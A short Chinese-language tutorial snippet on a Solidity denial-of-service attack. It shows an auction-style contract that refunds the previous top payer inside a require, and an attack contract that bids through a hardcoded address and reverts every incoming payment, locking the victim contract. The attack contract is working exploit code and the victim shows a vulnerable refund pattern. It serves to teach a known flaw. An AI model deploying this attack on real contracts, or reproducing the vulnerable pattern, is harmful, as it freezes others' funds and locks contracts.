solidity合约DOS攻击

pragma solidity ^0.5.1;
//业务逻辑，谁给的钱多我就记录谁，并且把上个人的钱退回去
contract longTest2{
    
    address payable add;
    uint256 public code;

    function setAdd()public payable returns(uint256){
        require(msg.value > code);
        require(add.send(code));
        code = msg.value;
        add = msg.sender;
        return code;
    }
}

pragma solidity ^0.5.1;
interface Aunt{
    function setAdd()external payable;
}
//攻击合约
contract longTest{
    Aunt auntPas = Aunt(0xB302F922B24420f3A3048ddDC4E2761CE37Ea098);
    function set()public payable {
         auntPas.setAdd.value(msg.value)();
    }

    //写个回滚函数，我给出去一次钱一后后面给的钱多的人无法调用，意思就是我钱已经给了，你退回来我不要
    function() external payable{
        revert();
    }
}